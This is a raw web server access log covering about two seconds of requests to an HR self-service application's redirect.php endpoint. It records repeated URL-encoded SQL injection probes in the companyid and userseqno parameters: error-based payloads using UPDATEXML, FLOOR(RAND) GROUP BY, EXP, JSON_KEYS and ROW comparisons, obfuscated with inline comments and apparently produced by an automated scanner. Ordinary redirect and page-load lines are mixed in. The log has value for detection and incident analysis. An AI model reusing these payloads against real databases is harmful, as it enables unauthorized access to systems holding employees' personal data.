100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33367550%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6270674b%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x62536754%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44466b45%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33377464%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484b4258%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f45716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474a6242%29%29x%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7938426a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a4c7076%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7938426a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a4c7076%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d4b3468%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50423764%29%29x%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4d4b3468%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50423764%29%29x%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x78744237%2C%28NULL%29%2C0x4635754d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x78744237%2C%28NULL%29%2C0x4635754d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x704b6333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53634e52%29%2C5431%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x704b6333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53634e52%29%2C5431%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x75697057%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64575855%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x75697057%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64575855%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x31674534%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b447652%29%2C5431%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x31674534%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b447652%29%2C5431%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x44524551%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77716964%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
